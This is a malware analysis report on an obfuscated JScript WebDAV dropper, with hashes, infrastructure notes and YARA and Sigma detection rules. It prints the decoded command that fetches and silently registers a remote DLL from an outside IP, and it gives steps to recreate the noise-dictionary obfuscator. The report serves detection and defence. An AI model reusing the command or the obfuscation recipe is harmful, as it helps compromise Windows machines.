unclassified-js-webdav-dropper: 8323305a — 100-entry random-noise dictionary, direct WScript.Shell.run() execution, no PowerShell wrapper

Executive Summary: JScript WebDAV dropper (28883307672689724950.js, 315 KB) using a 100-entry random-noise character dictionary (vyfrnbw object) — tying the family record for largest dictionary size. Direct WScript.Shell.run() execution with cmd /c timeout 1 anti-emulation gate, followed by net use + regsvr32 /s against 94.159.113.84:8888. Notable for the absence of a PowerShell -EncodedCommand wrapper, a divergence from the majority of 62-entry and 100-entry dictionary siblings in this cluster. Ninety-fourth confirmed sibling in the unclassified-js-webdav-dropper family. Static-only (JScript, not a binary).

What It Is

• File: 28883307672689724950.js ^[metadata.json]
• SHA-256: 8323305a810c70ec7d0b542f945b9585b866b288990a9e246a2acddb5f637189
• Size: 315,155 bytes ^[triage.json]
• Type: ASCII text, single-line JScript, no line terminators ^[file.txt]
• ssdeep: 1536:a6A7mZdqQoWfy+YhgGQKAkE/2DQsuLxQ++Hr0FzxMMJTYENp1v0MJuoGU7itGJ8N:S ^[triage.json]
• Family: unclassified-js-webdav-dropper — high-confidence sibling (n=94) ^[entities/unclassified-js-webdav-dropper.md]

How It Works

Obfuscation Engine

The script builds a 100-entry character dictionary where random lowercase noise strings (8–20 chars, no semantic content) map to individual ASCII characters. Example:

vyfrnbw['cqnshtj']="O"; vyfrnbw['zfrwb']="\""; vyfrnbw['jlxwq']="=";

^[sample 8323305a/strings.txt]

The dictionary covers the full printable ASCII set plus whitespace/escape codes. After initialization, a single this[dictionary_concatenation](dictionary_concatenation) call decodes and executes the payload via eval().

Execution Chain (Decoded)

this[WScript][CreateObject](WScript.Shell)[run](
  cmd /c timeout 1&&cmd /c net use \\94.159.113.84@8888\davwwwroot\ 
  && cmd /c regsvr32 /s \\94.159.113.84@8888\davwwwroot\206721718212887.dll
,0,false);

^[/intel/analyses/8323305a810c70ec7d0b542f945b9585b866b288990a9e246a2acddb5f637189.html] (decoded via Python recursive dictionary substitution)

Key observations:

1. timeout 1 anti-emulation gate — Sleep for 1s before payload execution. Observed in siblings e2568b43, ddf0c8bd, edfb0e0a, and 82d78891. ^[entities/unclassified-js-webdav-dropper.md]
2. Direct WScript.Shell.run() — No PowerShell -EncodedCommand wrapper. This is a divergence from the majority of 62-entry and 100-entry dictionary siblings (e.g., fbdd83ad, e2568b43, c4670e86, f51f6323), which consistently wrap execution in a PowerShell base64-encoded command. ^[entities/unclassified-js-webdav-dropper.md]
3. Window hidden, no wait — run(..., 0, false) hides the window and does not block on process completion.
4. No wordpad decoy — Unlike the pure-batch dialects in this family, this JScript variant does not launch a decoy application.
5. No nested try/catch decoys — Absent the noise-decoy wrappers observed in some cloudslimit.com siblings.

C2 Infrastructure

• WebDAV endpoint: 94.159.113.84:8888 (single domain for both net use mount and payload fetch)
• Payload: 206721718212887.dll (15-digit numeric filename, consistent with family naming convention)
• C2 subnet context: Sixth confirmed sibling on exact IP 94.159.113.84:8888. Prior siblings: fbdd83ad (66th), c4670e86 (76th), e2568b43 (83rd), f51f6323 (89th), f01dca2e (86th). The 94.159.113.x subnet now accounts for twelve confirmed siblings across .79, .82, .84, .86, and .204. ^[entities/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• Largest file size in the 100-entry cluster: At 315 KB, this is the largest of the five confirmed 100-entry dictionary siblings (prior: e2568b43 at ~200 KB, f51f6323 at ~150 KB). The inflation comes from a larger number of this[...]() no-op calls appended after the eval statement — 1,726 trailing invocations vs. ~800–1,200 in prior samples. These calls decode to random alphanumeric identifiers (e.g., wknvzzn(), kqwrba()) that do not resolve to defined functions and serve purely as static-noise padding. ^[/intel/analyses/8323305a810c70ec7d0b542f945b9585b866b288990a9e246a2acddb5f637189.html]
• No PowerShell wrapper divergence: Every prior 100-entry sibling (fbdd83ad, e2568b43, c4670e86, f51f6323, f01dca2e) used a PowerShell -EncodedCommand wrapper. This sample drops it entirely, suggesting either operator preference shift or A/B testing of execution paths.
• Consistent payload naming: 206721718212887.dll follows the family's 15-digit numeric DLL filename convention. No semantic filenames observed in this cluster.
• Static-only: CAPE skipped this sample because it is ASCII text, not a supported binary class for detonation. ^[dynamic-analysis.md]

How To Mess With It (Homelab Replication)

1. Dictionary generator: Write a Python script that creates a JavaScript dictionary mapping 100 random noise strings to printable ASCII characters, then encodes a target payload string using the dictionary keys concatenated with +.
2. Execution template: Wrap the encoded payload in this[dict_key_concat](dict_key_concat)(); and append 1,500+ random this[dict_key_concat](); no-op calls.
3. Verify: Open the generated .js in a Windows environment with WScript. The payload should decode and execute via eval().
4. Detection exercise: Write a YARA rule targeting the vyfrnbw=[]; dictionary initialization pattern and the this[vyfrnbw[ concatenation call structure.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_100Entry_Dictionary_vyfrnbw {
    meta:
        description = "JScript WebDAV dropper with 100-entry random-noise dictionary (vyfrnbw variant)"
        author = "PacketPursuit"
        date = "2026-07-23"
        sha256 = "8323305a810c70ec7d0b542f945b9585b866b288990a9e246a2acddb5f637189"
        family = "unclassified-js-webdav-dropper"
    strings:
        $dict_init = "vyfrnbw=[];vyfrnbw['" ascii
        $webdav_84 = "94.159.113.84" ascii
        $davwwwroot = "davwwwroot" ascii nocase
        $regsvr32 = "regsvr32" ascii
        $timeout = "timeout 1" ascii
        $this_eval = "this[vyfrnbw[" ascii
    condition:
        filesize > 300KB and filesize < 320KB and
        #dict_init > 50 and
        $this_eval and
        ($webdav_84 or $davwwwroot) and
        $regsvr32
}

Sigma Rule

title: JScript WebDAV Dropper Execution - 100-Entry Dictionary Variant
logsource:
    product: windows
    service: sysmon
detection:
    selection_wscript:
        ParentImage|endswith: '\wscript.exe'
        Image|endswith: '\cmd.exe'
        CommandLine|contains:
            - 'timeout 1'
            - 'net use'
            - 'regsvr32 /s'
            - 'davwwwroot'
    selection_webdav_ip:
        CommandLine|contains: '94.159.113.84'
    selection_powershell:
        ParentImage|endswith: '\wscript.exe'
        Image|endswith: '\powershell.exe'
        CommandLine|contains: 'EncodedCommand'
    condition: (selection_wscript and selection_webdav_ip) or (selection_wscript and selection_powershell)
falsepositives:
    - Unknown
level: high

IOC List

Behavioral Fingerprint

This JScript dropper initializes a 100-entry character dictionary (vyfrnbw=[]) mapping random noise strings to printable ASCII, then decodes a single eval() call containing a WScript.Shell.run() command. The executed command sleeps for 1 second (timeout 1), mounts a WebDAV share via net use on 94.159.113.84:8888, and silently registers a remote DLL via regsvr32 /s. Notably, this variant omits the PowerShell -EncodedCommand wrapper used by most prior 100-entry siblings, executing directly through cmd.exe instead.

Detection Signatures (Static)

References

• SHA-256: 8323305a810c70ec7d0b542f945b9585b866b288990a9e246a2acddb5f637189
• MalwareBazaar: https://bazaar.abuse.ch/sample/8323305a810c70ec7d0b542f945b9585b866b288990a9e246a2acddb5f637189/
• Family entity: unclassified-js-webdav-dropper
• Technique: js-dictionary-char-lookup-obfuscation
• Technique: webdav-regsvr32-dll-sideloading
• Related sibling (same C2, prior 100-entry): f51f6323 — payload 124762709410083.dll, regsvr32 /s, PowerShell wrapper present. ^[/intel/analyses/f51f632334bdfc53089666cd749bae9a890ca9333c9f5427b7fb5fe8ee901d7d.html]

Provenance

• file.txt — file utility (magic)
• strings.txt — raw strings extraction (line-truncated at 315 KB single line)
• metadata.json, triage.json — OpenCTI / MalwareBazaar ingestion metadata
• dynamic-analysis.md — CAPE skipped (non-binary file)
• Manual deobfuscation via Python recursive dictionary substitution on <sample 8323305a810c.bin>